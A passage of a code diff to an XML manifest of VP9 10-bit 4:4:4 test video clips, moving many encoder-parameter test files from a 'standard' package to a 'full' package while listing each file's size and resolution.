   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=176740,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=176740,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=830865,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36492,10 +36492,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=70420288,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=8635215,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36504,7 +36504,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=70420288,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3212796,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36519,154 +36519,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=1349089,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=396942,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=396942,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163085,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163085,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43043,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43043,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168793,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168793,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168967,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168967,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168549,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168549,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169489,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169489,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168738,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168738,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168809,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168809,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168726,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168726,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=140552,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=140552,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167689,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167689,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167842,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167842,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168019,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168019,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167595,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159959,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159959,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160313,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160313,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168887,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168887,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168934,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168934,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168570,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168570,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168350,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168350,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168627,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168627,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168104,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=166542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=166542,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=180826,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=180826,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167335,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=139778,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=139778,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=176740,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=176740,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=830865,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36675,10 +36675,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=63464829,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=8633808,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36687,7 +36687,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=63464829,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3211267,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36702,154 +36702,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=1349654,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=397013,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=397013,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=162770,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=162770,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43390,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168697,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168993,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168993,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168394,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168394,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168658,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168964,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168964,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp5_1x4.webm">
